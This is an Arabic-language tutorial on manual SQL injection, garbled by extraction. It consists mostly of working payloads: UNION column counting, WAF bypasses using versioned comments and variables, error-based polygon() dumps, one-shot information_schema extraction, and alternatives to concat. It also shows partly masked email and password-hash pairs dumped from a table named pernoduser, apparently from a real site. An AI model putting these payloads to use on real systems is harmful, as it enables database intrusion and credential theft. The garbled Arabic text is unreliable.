ثانيا ل :إضافة القتباس الرمزدوج " double quotationبعد الرقم مائة الخاص بإستعلم الـ . order by
[2] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100" -- -
بعد علمة القلتباس الرمزدوج ثم رنضيف بعدها رقما ل يساوى العدد – إثنين -حيث يبدأ العد للرقام من عنلدها أى ثالثا ل :إضافة فاصلة ,
الرقم إثنين ,وليس من الرقم التقليدي للعد واحد كما الرمعتاد ' على هذا النحو :
[3] www.InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2 -- -
[4] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2 -- -
[5] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3 -- -
[6] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4 -- -
[7] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5 -- -
ظهر خطأ [8] InjectorBoy.md/news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5,6 -- -
خامسا ل :بعد ظهور خطأ بالصفحة الدال على أن عدد العمدة الصحيحة ليس مائة نتيجه لستخدمنا الستعلم order by 100
,بعد ذلك نقوم بالتلعب بالرقم مأئة داخل الـ order byتنارزليا ل حتى نحرصيل على العداد الك رمللي للعلمدة على النحو كالتالى :
] [ 9
خطأ /news.php?id=58' and false UNION SELECT "1' order by 100",2,3,4,5,6 -- -
خطأ /news.php?id=58' and false UNION SELECT "1' order by 50",2,3,4,5,6 -- -
خطأ /news.php?id=58' and false UNION SELECT "1' order by 25",2,3,4,5,6 -- -
خطأ /news.php?id=58' and false UNION SELECT "1' order by 15",2,3,4,5,6 -- -
خطأ /news.php?id=58' and false UNION SELECT "1' order by 14",2,3,4,5,6 -- -
ل يوجد خطأ /news.php?id=58' and false UNION SELECT "1' order by 13",2,3,4,5,6 -- -
رهنا بعمدما قومنا بتحصيل العداد الك رمللية للعلمدة وهو العدد -ثلثة عشر -نقوم بإستغللة عل الكيفية التالية :
وهذة المسئلة -أي الستغلل الخير -تسمى بالستعلم الرئيسي التوجيهي وسوف ريشرح مرة رأخرة لحقا ل بالتفصيل بصورة أكثر تق ل ردما ل .
☆*• ☆¸.الفصل الخامس :إستخدام الستعلم ☆*•.¸☆ PROCEDURE ANALYSE
الـ : PROCEDURE ANALYSEرتستخدم للتحليل الرمنتج النهائي ,وهو ريشلبه تمام المشبه من حيث ألية العمل الستعلم التقليدى
جزئين .
Order+Byوينقسم إلى قسمين أو ر
والناتج سوف يكون كالتالي :حدوث تكرار لشئ ما داخل الصفحة كـ كلمات أو أسطر أو صور ألخ من التكرار داخل الصفحة
مثال عملي
[1] www.InjectorBoy.md/news.php?id=58
عديا ل .
إضافة القيمة LIMITلتحصيل العدد الكلي للعمدة بالعتماد على مسألة الزيادة فى الترقيم تصا ر
مثال توضيحي
رملحظة :فى حالة إنلعدام عمل أي مسئلة من المسائل السابقة نقوم بالرلجوء إلى مسألة عامة تقوم على مبدأ التخمين لتحصل الهدف ,لذا
يجب تخمين الجدول الرئيسي للقاعدة أول ل قبل الخوض في لخضم المسألة :
مثال توضيحي
أول ل :تخمين الجدول
سوف نقوم بتخمين الجدول الرئيسي رمستخدمين هذا الستعلم :
+and+(select+1+from+table)=1
كم مع الكتاب قاموس بة كللمات التخمينحيث نرقوم بتخمين الجداول رمستبدلين الكلمة tableبالسماء الخاصه بالتخمين وسوف أرفق ل ر
التي سوف نحتاج إليها بعمليات الحقن ,لذا لرنكمل عملية التخمين على هذا النحو :
تم تحصيل خطأ دل على أن عدد العمدة الخاصة بالقاعدة ليست القيمة مائة ,مما دل على عمل الستعلم التقليدى group byبصورة
جيدة وبدون أبة مشاكل ,فالنتلعب تنارزليا ل بالرقم مائة حتى رنحللصل العدد الصحيح ال ر
كلي للعمدة .
تم تحصيل خطأ ولكن ليس بالصورة الرمعتادة لنا ,ووصرفة أن عدد العمدة الرمستخدمة عند الرقم أربعة عشر غير صحيح ,والذي
يعني أن العدد الصحيح للعمدة هو أقل من أربعة عشر أي العدد القل منه بالترتيب وهو الرقم ثلثة عشر .
☆*• ☆¸.الفصل السابع :تحصيل أعداد العمد بالـ Error Basedبتخمين الجدول الرئيسي ☆¸☆*•.
فى الفصل السابق شاهدنا طريقة تخمين الجدول الرئيسي وهو , usersفلرنتابع من بعد ذلك .
أول ل :سوف نقوم بتشفيره بالهيكس أي الجدول usersمن خلل الموقع التالى :
www.waraxe.us/sql-char-encoder.html
رثم اضافرته بعد تشفيرهر إلى الستعلم التالي مكان الـ tableثمم بعد ذلك إضافة كامل الستعلم هذا بعد الرمتغير للموقع الهدف :
حدث خطأ الصفحه ظهرت بيضاء الن سوف نقوم بالتقليل بين الرقمين مائه مع الحرص بتكراره كما رنلحظ بالمسألة تاليا ل حتى تعمل
الصفحه بصوره جيدة .
. الصفحه تعمل الن بصورة طبيعية مما دل على ان عدد العمدة إثنى عشر عمودا ل
الباب الثالث :التقنيات المركزية لتحصيل العداد ال ر
كلية للعمدة █ ▇ ▆ ▅ ▄ ▃ ▂ ▂▃▄▅▆▇█
كلي للعمد أقل من الرقم الناتج بهذا الخطأ أي إحدى عشر عمودا ل .
النتيجة :العدد إثنى عشر غير موجود وهذا يعني أن العدد ال ر
☆*•.¸☆ كلي للعمدة برأسلوب الفيض الرمتعدد
¸☆ الكشف عن العدد ال ر.•*☆ [ التقنية الثانية2]
يعتمد هذا ا ر
لنقوم بالبدأ من إضافة رمز واحد, لسلوب على إجبار القاعد بالضغط عليها لرتخبرنا أن العدد الرمستخدم حاليا غير صحيح
. عديا ل حتى نصل للعد الصحيح للعمدة
والزيادة تصا ر
- .1INTO
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@ ;%00
testphp.vulnweb.com/listproducts.php?cat=1- .1INTO
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,
@,@,@,@,@,@,@,@,@,@ ;%00
كما رنلجظ بالصورة أعله قبلت القاعدة الستعلم و قامت بالرد علينا بعدم وجود هذا الكم الكبير من العمدة لذا سوف نقوم بهذا المسألة
واحدة تلو ا ر
: لخر كالتالي
تعتمد هذه التقنية على تجاوز الستعلمات الرمتعددة الـ multiple queriesبإستخدام تقنية النمط الإغلقي الرمركب عليه متغير
موازي ,لرنتابع خطوات هذه التقنية الجديدة :
![1] www.InjectorBoy.GHT?id=1;%00
رابعا ل :رنضيف مسافة بعد الرمتغير الموازي ث رمم نضع الستعلم order by
خامسا ل :رنضيف للرقم مائة الرمرتبطة بالستعلم order byذات الغلق الرمستخدم في بداية المر أي ;!00%
كلي الصحيح للعمدة حدثـــ خطأ ,أل وهو عدم ظهور أرقام العمدة الرمصابة ال ر
كلية بالصفحة كما عند كتابة الستغلل ال ر
الرمعتاد في الحقن الطبيعى ,لذا سوف أرفق بابا ل تاليا ل نقوم فيله بشرح أساليب إجبار العمدة الرمصابة على الظهور بالصفحة
كلية .
لتمام عملية الستغلل ال ر
☆*• ☆¸.إجبار العمدة الرمصابة على الظهور بالصفحة عندما ل تظهر فى الحالة الطبيعية للحقن ☆*•☆¸.
في بعض الحيان قد يتعذر على رمختبري حقن قواعد البيانات إظهار أرقام العمدة ال ر
كلية الرمصابة داخل الصفحة لتمام حقنها
لذا سوف نقوم بشرح تخطي تلك الرمشكلة تاليا ل في عدة رفصول رمتاتبعة .
الفصل الثالث :الرقام الرمتعدده التكراريه والبحث داخل السورس باج ' . ' source page
الفصل الرابع :إستخدام الفيرجين والبحث بالسورس باج ' . ' source page
التنقيط ' : ' Dottingبعنى إضافة رنقطة أو ماريساوي قيمتها من التقنيات الرمندلرجة تحت هذا التصنيف ,ووظيفة الرنقطة إلغاء
الستعلم ذلك لكولنها أصبحت في هذه الحالة شرط سلبي .
[1] www.InjectorBoy.GHT?id=1 union select 1,2,3 -- -
ث العمل ☆¸☆*•.
☆*• ☆¸.بعض التقنيات الرمتنللوعة الرمندلرجة تحت تصنيف التنقيط من حي ر
[1] news.php?id=.58
[2] news.php?id=-58
[3] news.php?id=@58
[4] news.php?id==58
[5] news.php?id=58=58
)[6] news.php?id=polygon(58
[7] news.php?id=999999.9
)[8] news.php?id=(-58
[9] news.php?id=.\58
جمل الخاطئة أو الـ ☆*•.¸☆ false statement
☆*• ☆¸.الفصل الثاني :إستخدام ال ر
كلي الصحيح للعمدة ولكتابة الستغلل ولم تظهر العمدة الرمصاب داخل نطاق الصفحة نقوم لعندها بإضافة
في حالة معرفة العدد ال ر
جمل الخاطئة أو الـ false statementقبل الستعلم union selectعلى النحو التالي :
ال ر
ظهرت العمده الرمصابه بعد إضافة الـ false statementالـ and 0قبل إستعلم اليونيون سيليكت
dev 0
And 0
and 1 = 2
)and (1)!=(0
)and(1)=(0
AND false
having 1 = 0
like 0
where 1=2
☆*• ☆¸.الفصل الثالث :الرقام الرمتعددة التكرارية والبحث داخل السورس باج ' ☆*•.¸☆ ' source page
ثمم يلي ذلك فتح السورس باج ] [ source pageوالبحث عن ذلك العمود الرمصاب الرمكرر القيمة حتى نجدهر ظاهر بصورة منفردة داخل
السورس باج .
☆*• ☆¸.الفصل الرابع :إستخدام إستعلم الكشف عن إصدار قاعدة البيانات والبحث بالسورس باج ☆¸☆*•.
هو نفس أوسلوب الباب المار لكن بدل ل من تكرار أرقام العمدة خمسة مرات نرقوم بإستبدالها جميعا ل بإستعلم الكشف عن إصدار قاعدة
البيانات , ()versionيلي ذلك فتح السورس باج والبحث عن إصدار القاعده :
إستخدام القوة الجبرية أو Brute Forcing Columnsذلك يتم بحذف كافة أرقام العمدة كما بالمثال التالي :
ا ر
لسلوب الجبري [2] news.php?id=.58'and 0 union select -- -
ثم نقوم بإضافة أرقام العمده واحدا ل تلو الخر بصورة تكرارية خمسة مرات على الترتيب منفردا ل القيمة من البدايا إلى النهاية
حتى تظهر العمدة الرمصابة بالصفحة :
من التجرربه الولى للقوة الجبرية ظهر تعداد رمتكرر للرقم واحد بالبار الرعلوى للصفحة والدال على أن العمود الرمصاب هو العمود
صاحب الرقم واحد كما نرى بالصورة التالية :
[7] www.InjectorBoy.md/news.php?id=.58' and 0 union select 1111 -- -
رأسلوب ' حقن نقطة الحقن ' أو بمعنى أدق الحقن داخل الحقن من الساليب القوية بمجال حقن قواعد البيانات :
رملحظة هامة :الموقع التالى موقع إختباري رمصمم لختبار الختراق ,أي أنره ليس بموقعا ل حي .
leettime.net/sqlninja.com
� التكوين الهيكلي ل ر
لسلوب �
الناتج :ظهر خطأ بالعمود صاحب الرقم إثنين ,مما دل على إنره العمود المناسب لتفعيل ا ر
لسلوب دالخل مره . ر
Error While Selection process : You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near ''''' at line 1
� تطبيق ا ر
لسلوب �
جزء الول من بعد رقم الرمتغير عند إشارة التنصيص الفرديه كومه )'( إلى نهاية الجزء الخير عند
أول ا :نقوم بقص الستعلم كامل ل من بداية ال ر
الغلق ) (- --على النحو التالي :
ثم نقوم بتشفيرهر كامل ل -أي الستعلم المقصوص -بالهيكس بهذا الموقع :
[3] www.waraxe.us/sql-char-encoder.html
الناتج :
[4] 0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d
ثانيا ل :نقوم بوضعه كامل ل -أي الستعلم المقصوص رمشفرا ل بالهيكس -بالعمود الرمناسب الرمستخرج سابقا ل رقم إثنين :
[5] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select
1,0x2720616e64203020756e696f6e2073656c65637420312c322d2d202d-- -
Username is : 1
الرملحظات :كما رنلحظ بالصورة أعله ظهر رقم العمود الرمصاب داخل الصفحه وهو الرقم واحد ' الـ Username is : 1والدال بذات
الوقت على أن العمود الرمصاب للحقن هو العمود صاحب الرقم واحد .
ألن فلنكشف عن إصدار قاعدة البيانات بنفس الكيفية السابقة ,لكن بوضع الستعلم ()versionقبل التشفير بمكان العمود صاحب
الرقم واحد الرمصاب بالحقن ثم تشفير الستعلم كامل ل .
[7] 0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d
ثم نضع الستعلم المشفر مكان العمود صاحب الرقم إثنين المناسب لتفعيل ا ر
لسلوب دالخل مره ' كما تم الكشف عنره سابقا ل ر ر
بالـ . ' 0x27
ملحوظه هامة :فلرنفرق بين ذلك المر ! العمود رقم إثنين هو العمود المناسب لتفعيل ا ر
لسلوب دالخل مره -أي عمود الختبار لهذه ر
المسئلة – والعمود رقم واحد هو العمود الرمصاب الذى نضع به الستعلمات الخاصة بالحقن قبل تشفيرها وهو الذي ظهر بالصفحة سابقا ل
-وذلك كـ عادة ركل العمده الرمصابه بأي موقع يتم الحقن داخلها -
[8] leettime.net/sqlninja.com/tasks/routed_sqli_1.php?id=1' and 0 union select
1,0x2720616e64203020756e696f6e2073656c6563742076657273696f6e28292c322d2d202d-- -
قد يكون عدم ظهور العمدة الرمصابة بالصفحة نتيجة الواف أي الحمايه لذا فالرنشفر كافة الستعلمات للحتياط و رمشاهدة النتيجة .
فالنقوم بفحص نهايات الروابط فقد يكون هذا سبب من أسباب عدم ظهور أرقام العمدة الرمصابة بالصفحة ,أي إننا نقوم بوضع كومينت
أو تعليق بدل الرمستخدم وقتها فقد يكون التعليق الرمستخدم غير رمناسب ,وهذا وجدتره -أي تبين لي -أنره أحد السباب لعدم ظهور
أرقام العمد الرمصابه بالصفحة بصورة كبيرة بمواقع كثيرة رقمت بحقنها سابقا ل
--+
--+-
+--+
-- -
\--
`
;-- -
--+-
+--+
-- -
–
#
//
/**/
/*
%0a
%23
%60
;%00
--%0a
%2523
%2560
;%2500
0%0a)
☆*• ☆¸.الفصل العاشر :إستخدام قيمة فارغة الـ ☆*•.¸☆ Null
▂ ▃ ▄ ▅ ▆ ▇ █ نهاية العملية █ ▇ ▆ ▅ ▄ ▃ ▂
. سوف ريستخرج لنا كافة التفاصيل الرمتعلقة بالقاعدة من أسماء الجداول و أسماء العمدة وذلك بصورة رمفصلة: الستعلم الشامل
الن يلي هذه المرحلة عملية تجميع البيانات الرمستخرجة أنفا ل داخل الستعلم التالي
لكي نقوم بسحب قيمة المعلومات الحساسة من العمدة :
في المرحلة الثانية هذه سوف نقوم بإستغلل البيانات التي رقمنا بتحصيلها سابقا ل بالستعلم الول الشامل وإضافتها بالستعلم الثاني .
(sElect(@) from (sElect (@:=0x00), (@running_number:=0),(sElect (@) from (table) where (@) in (@:=concat(@,
)(@running_number:=@running_number%2b1),0x0a,column,0x3a,column))))a
كلية الولى للحقن النمطي لذا لنتعمق بتقنيات رأخرى بالبواب والفصول التالية
وبذلك نكون قد إنتهينا من المرحلة ال ر
▂ ▃ ▄ ▅ ▆ ▇ █ نهايـــة الفـصــ ل █ ▇ ▆ ▅ ▄ ▃ ▂
� الفصل الرابع :تقنيات الحقن الفريدة من نولعها �
في هذا الفصل سوف أشرح عدة مسائل رمتطورة منها ما هو مشهور لدي ر
كم ومنها ما دون ذلك من الرشهرة ,
وسوف يكون الشرح بشئ من التفصيل ولكن التفصيل المختصر حتى ر
لطيل الكتاب - ر
الباب الثالث :رأسلوب حقن نقطة الحقن الداخلي . injection inside injection
رأسلوب الحقن الفريد الـ Join Syntaxهو رأسلوب حقن غير إعتيادي هدفرره هو ذات الهدف من الحقن النمطي العتيادي أي إختبار
ث المكانيات الخاصة به فهو نمط يستطيع تخطي بعض الحمايات العتيدة وهذا الحقنإستعلمات الحقن ولكن ل مره يختلف من حي ر
خطوارته على النحو القادم :
� الموقع الرمختبر �
www.InjectorBoy.md/news.php?id=58
عند إستغلل حقن وكتابة الستغلل الكامل لره على النحو القالدم لكن دومنما جدوى من العمل مع ظهور نمط جديد من الخطاء
يكون الحل البديل للحقن النمطي هذا هو الحقن الفريد الـ Join Syntaxفإلى التكوين الهيكلي لهذا النمط الغير إعتيادي من الحقن .
أول ل :يكون الستغلل كما هو على النمط العتيادي ث رلم نقوم بإضافة مسافة بعد الكلمة selectرثم ياليها كتابة رمز النجمه * رثم يلي
ذلك ركلره مسافة رأخرى بعد رمز النجمه رثم أخيرا ل كتابة الكلمة fromبعمدرهما وذلك على النحو التالي بالترقيم أدناه :
ثانيا ل :نتقل إلى هيكلة الرقام الخاصة بالعمدة فعندما رنريد كتابة رقم ما لعمود من العمدة داخل الستغلل يكون ذلك على النحو
التالي :
-1نقوم بوضع قوسين هلل لميين رمغملقين بعد كلمة fromعلى النحو التي :
-2رثم نكرتب داخل هذين القوسيين كلمة الـ selectعلى النحو التي :
-3رثم نقوم بإضافة مسافة بعد الكلمة selectداخل القواس رثم ياليها نكرتب رقم العمود الول لدينا على النحو التي :
-5ثم يالي السم الرمستعار aمسافة رثم رنضيف الكللمة joinعلى النحو التي :
-6وهكذا دواليك مع باقى أرقام العمدة كافة فتكون الصورة النهائية لهذا النمط غير العتيادي على هذا النحو النهائي :
[6] InjectorBoy.md/news.php?id=58' union select * from (select 1)a join (select+2)b join (select+version())c join
(select+4)d join (select+5)e join (select+6)f -- -
هناك الكثير من الحمايات WAF'Sالتى تقوم على إعتراض وإستهداف بعض الكللمات الساسية ومنعها من العمل وهى من الرئيسيات -أي
هذه الكلمات الرمستهدفة -التى رتستخدم داخل الستعلمات الرئيسية الخاصة بعمليات الستغلل الكامل عند حقن قواعد البيانات ,فعلى
سبيل المثال ل الحصر الكلمة الرئيسية FROMالمستخدمة داخل الستعلمات بكثرة كما بالستعلم التالى :
!(sElect(@x)from(Select(@x:=0x00),(sElect(0)from(information_schema.columns)where(table_schema
=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e,table_schema,0x3a,table_na
)me,0x3a,column_name))))x
والتى قامت الحماية WAF'Sبعمل إعتراض لها ,والتى ل يمكن على إصمرها تمرير هذا الستعلم بكامل هيئتره لقالعدة البيانات نظرا ل لهذا
الحظر لذا الن للن مرقم بعمل محاكاه واقعية لعملية حقن يدوي لموقع رص لممممت حمايتره لوقف أى عمليات رمرتلبطة إستعلماتها بالكلمة FROM
ومحاولة تخطي هذه الحماية الرمعقدة بصورة بسيطة عن طريق إنشاء متغير محلي ! حسنا ل فالرننتابع .
حاكمى
الموقع الرم م
كما تبين من الصورة السابقة تم إعتراض الستعلم فى هيئة فوربيدن وذلك لكون الستعلم رمحتوي على الكلمة الرمعترضة FROMوالذى
ت أنها الهدف من هذا العتراض على النحو التالي -
أستطيع إثبا ر
حسنا ل الن سوف نقوم بتخطي هذا المنع أو العتراض عن طريق إنشاء رمتغير محلي لكي نتفادى أي إعتراض على أيا ل من كلمات الستعلم
الرئيسية من ضمنها الكلمة . Form
خذ تصور عام عن فكرة المتغيرات المحلية بـ htmlوكيف نستطيع الستفاده منه -
ولكن أول ل فلنأ ر
أول ل :رأنرظر الصورة أدناه
كما نري بالصورة عند العدد الرمرقم بالصورة -1-هذا ما ريسمى بالرمتغير وقد سميت هذا المتغير بألــ TITLEويحتوي هذا المتغير على
البيانات التى رنريد لطباعتها داخل الصفحة بالماكن التالية وعلى حسب الترقيم التي :
رائع :تم طباعة البيانات الرمراد طباعتها بأمالكنها الرمخصصة لها عن طريق عمل إستعاضة بالسم .
وما سوف نقوم به تالي ا ل أثناء عملية الحقن اليدوي هو ذات الفكرة بعمل إستعاضة بالسم عن البيانات التي سوف نقوم بحقلنها داخل
أحد العمدة الرمصابة ,أي إننا سوف نقوم باللتفاف على الـ wafلتمرير القيم المحظورة بصورة غير رمباشرة بعيدا ل عن الدخال
المباشر لهذه الستعلمات والكواد داخل العمدة الرمصابه .
ثانيا ل :نقوم بإضافة رمتغير محلي قبل الستعلم union selectوبعد رقم الرمتغير صاحب الرقم واحد على النحو التي
الـ ()=:@ andهو الرمتغير المحلي والـ Statemeantsتعني مكان وضع الستعلمات الرمستخدمة والرمز @ هو السم الرمستعاض به
عن الرمتغير المحلي بصورة ركلية -
ثالثا ل :نقوم بإضافة السم الرمستعاض به عن الرمتغير المحلي وهو رمز الـ @ مكان أحد أرقام العمدة الرمصابة على النحو التي :
الن للن مرقوم بتجررلبة هذا الرمتغير المحلي ورمحاولة إستدعاء إصدار قاعدة البيانات رمستخدمين الستعلم ()versionبدل القيمة
Statemeantsعلى النحو التالي :
[4] www.InjectorBoy.GHT?id=-1 and @:=(version()) /*!12345UnIoN*/ /*!12345SeLeCt*/ 1,2,3,4,@,6-- -
حسنا ل الن نقوم بإضافة الستعلم الخاص بإستخراج كافة الجداول والرمحتوي على الكلمات المحظورة والتي هي رهنا على سبيل
: على هذا النحو التي- FROM - اللمثال الـ
رأسلوب ' حقن نقطة الحقن ' أو بمعنى أدق الحقن داخل الحقن من الساليب القوية بمجال حقن قواعد البيانات :
لسلوب بالتفاصيل بالفصل السابع لذا ل داعي من تكرار شرحة مرلة رأخرى
تم شرح هذا ا ر
الباب الرابع :تقنية الـ Non-Geometric Error Based
هذه التقنية تندرج تحت قسم اليرور باسيد ولكنها تختلف عنها بال ر
كلية
;))SELECT polygon(point(53,12
www.InjectorBoy.md/users/view.php?id=1
;))polygon((select*from(select*from(select@@version)f)x
ملحوظة :يجب حذف رقم الرمتغير عند إستخدام هذا الستعلم على النحو التالي
;))www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select@@version)f)x
الجداول المستخرجه
blocklist
log_login
pernodmajorwinners
pernodmanagement
pernodmatches
pernodmessages
pernodnews
pernodpolls
pernodtopics
pernoduser
. لكن سوف يكون مشفرا ل بالهيكسpernoduser بالستعلم بالجدول المستخرجT_HE نستبدل القيمة
موقع للتشفير
http://www.waraxe.us/sql-char-encoder.html
password
email
www.InjectorBoy.md/users/view.php?id=polygon((select*from(select*from(select
group_concat(email,0x3a,password) from pernoduser)f)x));
البيانات النهائيه المستحرجه-5
xxxxxxx@tiscali.co.uk:22fdf94cc29e7aff8ece472ed119c53e
xxxxxxx@hotmail.co.uk:795b087b2ceb3482dc9956eb8f126ea3
الباب االخامس :إستخراج القيم ال ر
كلية بتقنية الـ Error Basedبلمح البصر Dump In One Shot
سوف نقوم بهذا الباب بشرح تقنية إستخراج كافة البيانات بصورة كاملة في بـ لمح البصر ضمن إستعلم اليرورباسيد .
www.InjectorBoy.md/news.php?id=58
لنرمر بصورة سريعة على البيانات الولية مثل إصدار قاعدة البيانات
سوف رنلحظ التغير الشامل في تركيب الستعلمات من بداية القسم التالي كما لم نتعود من قبل
. Tables إستخراج كافة الجداول ضمن الموقع الـ: أول ل
=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select
group_concat(table_name) from information_schema.tables where table_schema=database())))x)a)-- -
يجب حذف رقم الرمتغير عند إستخدام هذا الستعلم على النحو التالي: ملحوظة
www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat(table_name) from information_schema.tables where table_schema=database())))x)a)--
-
< كالتاليHTML TAG=<BR ريمكن إستخراج البيانات بصورة رمتالية بإستخدام الـ: ملحوظة
www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat('<BR>',table_name) from information_schema.tables where
table_schema=database())))x)a)-- -
kkbaketop_admin,kkbaketop_category,kkbaketop_content,kkbaketop_contentOld,
kkbaketop_meta,kkbaketop_navigation,kkbaketop_product
=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/(0x3a3a3a,(select
group_concat('<BR>',table_name,0x3a,column_name) from information_schema.columns where
table_schema=database())))x)a)-- -
في الستعلمات العادية نقوم بإضافة الجدول الرمراد إستخراج العمدة منه لكن رهنا الستعلم سوف يستخرج كافة الجداول: ملحوظة
. ولستخراج البيانات النهائية فهذا أمرا ل في غاية السهولة فل داعي من شرحرة, خصها
والعمدة التي ت ر
www.InjectorBoy.md/news.php?id=(SELECT!x-~0./*!50000FROM*/(/*!50000SELECT*/(/*!50000concat_ws*/
(0x3a3a3a,(select group_concat('<BR>',table_name,0x3a,column_name) from information_schema.columns where
table_schema=database())))x)a)-- -
الباب السادس :تقنيات الحقن البديلة الـ SQL-Injection-Without
هذه التقنيات رمختصة بعمليات الحقن غير النمطية أي الحقن بأساليب رمختللفة عن المسائل المعروف بهذا المجال .
يتم إستخدام هذه التقنية بإستبدال أحد القيم التالية بقيمة الرمتغير الرقمي الخاصة برابط الموقع المصاب .
)(_
)($
)(`@`
)(``anything
'*_()%23
'or v()-- -
[1] testphp.vulnweb.com/listproducts.php?cat=1
)(_=[3] testphp.vulnweb.com/listproducts.php?cat
•◘╚╦☆ - 2تقنية معرفة قيمة الباسورد للجدول الرمستخرج دونما عناء إستخراج العمدة الخاصة به ☆╚╦◘•
العادة الرمحكمة بعد إستخراج الجداول الرمستهدفة يتم تحصيل العمدة الخاصة باليوزرات والباسوردات لستغللها ,لكننا رهنا لن نقوم
بفعل ذلك بل سوف نستخرج هذه القيم بصورة رمباشرة دونما عناء معرفة قيم العمدة بصورة رمسبقة وذلك في خطوتين فقط .
testphp.vulnweb.com/listproducts.php?cat=1and polygon((select*from(select*from(select
;))group_concat(table_name) from information_schema.tables where table_schema=database())f)x
artists carts categ featured guestbook pictures product users : الجداول الرمستخرجة
and polygon((select * from(SELECT ((SELECT * from (select * from Table limit 0,1)x) = (select * from Table
limit 1) )``)o));
. الرمكررة مرتين بهذا الستعلم بقيمة الجدول الرمستخرج سابقا ل بالخطوة الولى وبنفس التكرارTable نقوم بإستبدال قيم الـ: ملحوظة
test','test','1234-5678-2300-9000','21 street','email@email.com
John Smith','2323345','45e5eafd5199e6c69a7f3a6a71b35750
. بالستعلماتConcat عندم ل تستطيع إستخدام القيمة: الباب السابع
الرمنصب بالموقع لذا سوف أعرض على حضرارتكمWAF بسبب الوافConcat في كثير من الحيان ل نستطيع إستخدام القيمة
. Concat بعض التقنيات الفريدة التي تقوم محل الستعلمات العادية دون إستخدام القيمة
export_set : القيمة
export_set(5,@:=0,(select+count(*)/*!50000from*/+/*!
50000information_schema*/.columns+where@:=export_set%285,export_set%285,@,0x3c6c693e,/*!
50000column_name*/,2),0x3a3a,/*!50000table_name*/,2)),@,2)
make_set : القيمة
make_set(7,@:=0,(select+count(*)/*!50000from*/+/*!50000information_schema*/.columns where
table_schema=database() and @:=export_set(5,export_set%285,@,0x3c6c693e,/*!
50000column_name*/,2),0x3a3a,/*!50000table_name*/,2)),@,2);
replace : القيمة
replace(@@version,@@version,concat
(unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e,@@version))
reverse : القيمة
reverse(insert(0x1,1,0,reverse(concat
(unhex(hex(table_name)),0x203a20,unhex(hex(column_name)),0x3c62723e)))) from information_schema
0.e.columns limit 0,1
MID : القيمة
إلي ر
الرمتميزةConcat كم سادتي بعض تقنيات الستعلم الساسي
concat(@@version,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+S
EPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))
بتقنبة التشفير
concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e496e6a6563746f72426f7920203a3a20,@@versi
on,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,ifnull(table_rows,0)+order+by+ifnull(table_rows,0)+ASC+S
EPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))
concat(@@version,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,COALESCE(table_rows,0)+order+by+COALESCE(table_ro
ws,0)+ASC+SEPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))
بتقنبة التشفير
concat(0x3c666f6e7420636f6c6f723d707572706c653e3c623e3c693e496e6a6563746f72426f7920203a3a20,@@versi
on,0x3c62723e,0x3c62723e,
(SELECT+GROUP_CONCAT(table_name,0x203a3a20,COALESCE(table_rows,0)+order+by+COALESCE(table_ro
ws,0)+ASC+SEPARATOR+0x3c62723e)
+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()))
1) pictures :: 7
2) categ :: 4
3) artists :: 3
benchmark الـ
concat(@i:=0x00,@o:=0xd0a,benchmark(40,@o:=CONCAT( @o,0xd0a,(SELECT
concat(table_schema,0x2E,@i:=table_name) FROM information_schema.tables WHERE table_name>@i order
by table_name LIMIT 1))),@o)
كن من معرفة الجدول الرمستهدف كـ أن يكون مثل ل جدول الدمن ريسمى بغير أسمره أو نحو هذه التقنية نستفيد منها في حال عدم التم ر
. ذلك لذا لنرمر على إيستعلمات هذه التقنية سريعا ل
الستعلمات الرمستخدمة
(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables) where (0x00) in
(@x:=concat(@x,0x3c62723e,@tbl:=table_name,(Select CASE WHEN ( (select count(*) from
